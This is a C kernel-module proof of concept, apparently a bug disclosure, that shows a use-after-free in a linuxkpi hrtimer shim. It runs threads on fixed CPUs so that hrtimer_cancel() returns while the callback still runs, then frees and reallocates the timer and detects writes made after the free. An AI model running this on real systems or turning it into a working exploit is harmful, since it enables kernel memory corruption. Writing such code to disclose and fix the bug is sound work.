/*
 * DF-5177 PoC — linuxkpi hrtimer shim: hrtimer_cancel() returns while the
 * timer callback is still executing (use-after-free on caller teardown).
 *
 * Root cause: hrtimer_cancel() snapshots tq/running under timer_token but
 * RELEASES the token before doing the work (linux_hrtimer.c:133).  A
 * concurrent hrtimer_start() — legal from any CPU while the callback runs,
 * cf. i915_pmu / intel_uncore — then:
 *   - falsifies timer->running = false   (linux_hrtimer.c:112)
 *   - reassigns timer->gd = new cpu      (linux_hrtimer.c:114)
 * so cancel() drains/cancels the NEW cpu's taskqueue
 * (taskqueue_thread[timer->gd->gd_cpuid], linux_hrtimer.c:128) instead of
 * the queue whose thread is actually executing __hrtimer_task, and returns
 * with the callback still in flight.  Linux guarantees hrtimer_cancel()
 * excludes against a running callback; the caller (kfree / device teardown)
 * then frees the hrtimer and the epilogue of __hrtimer_task
 * (linux_hrtimer.c:58-68) operates on freed memory.
 *
 * Deterministic sequence (no race needed):
 *   [cpu0] hrtimer_start(1ms)            -> fires, cb runs on q0, cb sleeps
 *   [cpu1] hrtimer_start(50ms)           -> running=false lie, gd=cpu1
 *   [cpu2] hrtimer_cancel()              -> cancels q1 (wrong), returns
 *                                           while cb_done == 0   <-- BUG
 *   kfree(timer); realloc same-size victim -> epilogue writes into victim
 *
 * All operations run on dedicated per-CPU kernel threads created with
 * lwkt_create(..., cpuid) so that the calling cpu of each hrtimer API
 * entry is exactly controlled.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/thread.h>
#include <sys/globaldata.h>
#include <sys/thread2.h>
#include <sys/taskqueue.h>
#include <linux/hrtimer.h>

static volatile int cb_running;
static volatile int cb_done;
static volatile int cancel_ret = -999;
static volatile int cancel_saw_cb_done = -999;

static volatile int phase;
static volatile int done0, done1, done2;

#define WAIT_FOR(v)	do { while (!(v)) tsleep(&v, 0, "df5177w", 1); } while (0)

static enum hrtimer_restart
poc_cb(struct hrtimer *t)
{
	cb_running = 1;
	tsleep(poc_cb, 0, "df5177cb", hz / 3);	/* 333ms in-callback */
	cb_done = 1;
	return HRTIMER_NORESTART;
}

static void
thr0(void *arg)
{
	hrtimer_start((struct hrtimer *)arg, 1000000ULL, HRTIMER_MODE_REL);
	done0 = 1;
	lwkt_exit();
}

static void
thr1(void *arg)
{
	hrtimer_start((struct hrtimer *)arg, 50000000ULL, HRTIMER_MODE_REL);
	done1 = 1;
	lwkt_exit();
}

static void
thr2(void *arg)
{
	cancel_ret = hrtimer_cancel((struct hrtimer *)arg);
	cancel_saw_cb_done = cb_done;
	done2 = 1;
	lwkt_exit();
}

static void
run_df5177(void)
{
	struct hrtimer *t;
	char *victim;
	size_t sz = sizeof(struct hrtimer);
	thread_t td;
	int i, changed;

	t = kmalloc(sz, M_DEVBUF, M_INTWAIT | M_ZERO);
	hrtimer_init(t, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
	t->function = poc_cb;

	kprintf("[df5177] timer %p size %zu\n", t, sz);

	/* cpu0: arm 1ms -> fire -> task runs cb on taskqueue_thread[0] */
	lwkt_create(thr0, t, &td, NULL, TDF_NOSTART, 0, "df5177a");
	lwkt_schedule(td);
	WAIT_FOR(done0);
	while (!cb_running)
		tsleep(&cb_running, 0, "df5177r", 1);
	kprintf("[df5177] callback now running on cpu0's taskqueue "
	    "(cb_done=%d)\n", cb_done);

	/* cpu1: legal re-arm while the callback is in flight */
	lwkt_create(thr1, t, &td, NULL, TDF_NOSTART, 1, "df5177b");
	lwkt_schedule(td);
	WAIT_FOR(done1);
	kprintf("[df5177] re-armed from cpu1 (50ms) while cb in flight\n");
	tsleep(&phase, 0, "df5177s", 2);	/* let it arm+settle */

	/* cpu2: cancel must not return until the callback finished */
	lwkt_create(thr2, t, &td, NULL, TDF_NOSTART, 2, "df5177c");
	lwkt_schedule(td);
	WAIT_FOR(done2);
	kprintf("[df5177] hrtimer_cancel() returned ret=%d, cb_done=%d "
	    "(Linux API requires cb_done==1 here!)\n",
	    cancel_ret, cancel_saw_cb_done);

	/*
	 * Caller-side teardown, exactly what i915_pmu_unregister() etc. do
	 * after hrtimer_cancel(): free the timer.
	 */
	kfree(t, M_DEVBUF);
	victim = kmalloc(sz, M_DEVBUF, M_INTWAIT | M_ZERO);

	/* re-init the token slot so the epilogue's lwkt token ops converge
	 * instead of spinning on garbage; poison the state bytes */
	lwkt_token_init((struct lwkt_token *)
	    (victim + offsetof(struct hrtimer, timer_token)), "victim");
	*(victim + offsetof(struct hrtimer, running)) = 0x5A;
	*(victim + offsetof(struct hrtimer, active))  = 0x5A;
	*(victim + offsetof(struct hrtimer, cancel))  = 0x5A;
	*(victim + offsetof(struct hrtimer, is_rel))  = 0x5A;

	kprintf("[df5177] timer freed and reallocated: victim=%p same=%d; "
	    "waiting 600ms for the in-flight epilogue...\n",
	    victim, (void *)victim == (void *)t);

	tsleep(run_df5177, 0, "df5177w", 6 * hz / 10);
	kprintf("[df5177] after wait: cb_done=%d; scanning victim for "
	    "post-free writes\n", cb_done);

	changed = 0;
	for (i = 0; i < (int)sz; i++) {
		char c = victim[i];
		if ((size_t)i == offsetof(struct hrtimer, timer_token)) {
			/* token area is legitimately re-inited; skip it */
			i += sizeof(struct lwkt_token) - 1;
			continue;
		}
		if (c == 0x5A &&
			   (i == offsetof(struct hrtimer, running) ||
			    i == offsetof(struct hrtimer, active))) {
			kprintf("[df5177] victim[%d] still 0x5A (no write)\n", i);
		} else if (c != 0x00 &&
			   (i != offsetof(struct hrtimer, cancel)) &&
			   (i != offsetof(struct hrtimer, is_rel))) {
			kprintf("[df5177] UAF-WRITE victim[%d]=0x%02x "
			    "(was 0x00)\n", i, (unsigned char)c);
			changed++;
		} else if (c == 0x00 &&
			   (i == offsetof(struct hrtimer, running) ||
			    i == offsetof(struct hrtimer, active))) {
			kprintf("[df5177] UAF-WRITE victim[%d]=0x00 "
			    "(was 0x5A: epilogue cleared %s)\n", i,
			    i == offsetof(struct hrtimer, running) ?
			    "running" : "active");
			changed++;
		}
	}
	if (cancel_saw_cb_done == 0 && changed > 0)
		kprintf("[df5177] EXPLOIT-PRIMITIVE PROVEN: cancel returned "
		    "before callback + %d post-free writes into a "
		    "reallocated object\n", changed);
	else
		kprintf("[df5177] changed=%d cancel_saw_cb_done=%d\n",
		    changed, cancel_saw_cb_done);

	kfree(victim, M_DEVBUF);
}

static int
df5177_load(struct module *m, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		run_df5177();
		return 0;
	default:
		return 0;
	}
}

static moduledata_t df5177_mod = { "df5177", df5177_load, NULL };
MODULE_DEPEND(df5177, drm, 1, 1, 1);
DECLARE_MODULE(df5177, df5177_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);